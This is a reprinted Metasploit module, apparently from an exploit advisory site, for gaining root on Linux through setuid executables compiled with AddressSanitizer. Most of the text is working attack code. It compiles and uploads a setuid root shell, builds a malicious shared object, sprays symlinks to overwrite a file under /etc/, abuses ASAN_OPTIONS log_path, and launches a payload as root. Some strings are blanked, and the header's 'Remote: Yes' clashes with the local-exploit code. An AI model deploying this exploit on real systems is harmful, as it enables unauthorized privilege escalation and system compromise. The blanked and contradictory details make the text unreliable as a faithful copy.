AddressSanitizer (ASan) SUID Executable Privilege Escalation

Credit: Brendan Coles
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264

## # This module requires Metasploit: # Current source: ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'AddressSanitizer (ASan) SUID Executable Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on Linux systems using setuid executables compiled with AddressSanitizer (ASan). ASan configuration related environment variables are permitted when executing setuid executables built with libasan. The `log_path` option can be set using the `ASAN_OPTIONS` environment variable, allowing clobbering of arbitrary files, with the privileges of the setuid user. This module uploads a shared object and sprays symlinks to overwrite `/etc/` in order to create a setuid root shell. }, 'License' => MSF_LICENSE, 'Author' => [ 'Szabolcs Nagy', # Discovery and PoC 'infodox', # Exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2016-02-17', 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [['Auto', {}]], 'DefaultOptions' => { 'AppendExit' => true, 'PrependSetresuid' => true, 'PrependSetresgid' => true, 'PrependFork' => true }, 'References' => [ ['URL', ''], ['URL', ''], ['URL', ''], ['URL', ''] ], 'Notes' => { 'AKA' => [''] }, 'DefaultTarget' => 0)) register_options ['SUID_EXECUTABLE', [true, 'Path to a SUID executable compiled with ASan', '']),'SPRAY_SIZE', [true, 'Number of PID symlinks to create', 50]) ] register_advanced_options ['ForceExploit', [false, 'Override check result', false]),'WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def base_dir datastore['WritableDir'] end def suid_exe_path datastore['SUID_EXECUTABLE'] end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data chmod path end def upload_and_compile(path, data, gcc_args='') upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end unless gcc_args.to_s.blank? gcc_cmd << " #{gcc_args}" end output = cmd_exec gcc_cmd unless output.blank? print_error 'Compiling failed:' print_line output end register_file_for_cleanup path chmod path end def check unless setuid? suid_exe_path vprint_error "#{suid_exe_path} is not setuid" return CheckCode::Safe end vprint_good "#{suid_exe_path} is setuid" # Check if the executable was compiled with ASan # # If the setuid executable is readable, and `ldd` is installed and in $PATH, # we can detect ASan via linked libraries. (`objdump` could also be used). # # Otherwise, we can try to detect ASan via the help output with the `help=1` option. # This approach works regardless of whether the setuid executable is readable, # with the obvious disadvantage that it requires invoking the executable. if cmd_exec("test -r #{suid_exe_path} && echo true").to_s.include?('true') && command_exists?('ldd') unless cmd_exec("ldd #{suid_exe_path}").to_s.include? '' vprint_error "#{suid_exe_path} was not compiled with ASan" return CheckCode::Safe end else unless cmd_exec("ASAN_OPTIONS=help=1 #{suid_exe_path}").include? 'AddressSanitizer' vprint_error "#{suid_exe_path} was not compiled with ASan" return CheckCode::Safe end end vprint_good "#{suid_exe_path} was compiled with ASan" unless has_gcc? print_error 'gcc is not installed. Compiling will fail.' return CheckCode::Safe end vprint_good 'gcc is installed' CheckCode::Appears end def exploit unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end unless writable? pwd.to_s.strip fail_with Failure::BadConfig, "#{pwd.to_s.strip} working directory is not writable" end if nosuid? base_dir fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid" end @log_prefix = ".#{rand_text_alphanumeric 5..10}" payload_name = ".#{rand_text_alphanumeric 5..10}" payload_path = "#{base_dir}/#{payload_name}" upload_and_chmodx payload_path, generate_payload_exe rootshell_name = ".#{rand_text_alphanumeric 5..10}" @rootshell_path = "#{base_dir}/#{rootshell_name}" rootshell = <<-EOF #include <stdio.h> #include <sys/stat.h> #include <unistd.h> int main(void) { setuid(0); setgid(0); execl("/bin/bash", "bash", NULL); } EOF upload_and_compile @rootshell_path, rootshell, '-Wall' lib_name = ".#{rand_text_alphanumeric 5..10}" lib_path = "#{base_dir}/#{lib_name}.so" lib = <<-EOF #include <stdlib.h> #include <stdio.h> #include <sys/stat.h> #include <unistd.h> void init(void) __attribute__((constructor)); void __attribute__((constructor)) init() { if (setuid(0) || setgid(0)) _exit(1); unlink("/etc/"); chown("#{@rootshell_path}", 0, 0); chmod("#{@rootshell_path}", 04755); _exit(0); } EOF upload_and_compile lib_path, lib, '-fPIC -shared -ldl -Wall' spray_name = ".#{rand_text_alphanumeric 5..10}" spray_path = "#{base_dir}/#{spray_name}" spray = <<-EOF #include <stdio.h> #include <sys/stat.h> #include <unistd.h> int main(void) { pid_t pid = getpid(); char buf[64]; for (int i=0; i<=#{datastore['SPRAY_SIZE']}; i++) { snprintf(buf, sizeof(buf), "#{@log_prefix}.%ld", (long)pid+i); symlink("/etc/", buf); } } EOF upload_and_compile spray_path, spray, '-Wall' exp_name = ".#{rand_text_alphanumeric 5..10}" exp_path = "#{base_dir}/#{exp_name}" exp = <<-EOF #!/bin/sh #{spray_path} ASAN_OPTIONS="disable_coredump=1 suppressions='/#{@log_prefix} #{lib_path} ' log_path=./#{@log_prefix} verbosity=0" "#{suid_exe_path}" >/dev/null 2>&1 ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "#{suid_exe_path}" >/dev/null 2>&1 EOF upload_and_chmodx exp_path, exp print_status 'Launching exploit...' output = cmd_exec exp_path output.each_line { |line| vprint_status line.chomp } unless setuid? @rootshell_path fail_with Failure::Unknown, "Failed to set-uid root #{@rootshell_path}" end print_good "Success! #{@rootshell_path} is set-uid root!" vprint_line cmd_exec "ls -la #{@rootshell_path}" print_status 'Executing payload...' cmd_exec "echo #{payload_path} | #{@rootshell_path} & echo " end def cleanup # Safety check to ensure we don't delete everything in the working directory if @log_prefix.to_s.strip.eql? '' vprint_warning "#{datastore['SPRAY_SIZE']} symlinks may require manual cleanup in: #{pwd}" else cmd_exec "rm #{pwd}/#{@log_prefix}*" end ensure super end def on_new_session(session) # Remove rootshell executable if session.type.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.fs.file.rm @rootshell_path else session.shell_command_token "rm -f '#{@rootshell_path}'" end ensure super end end

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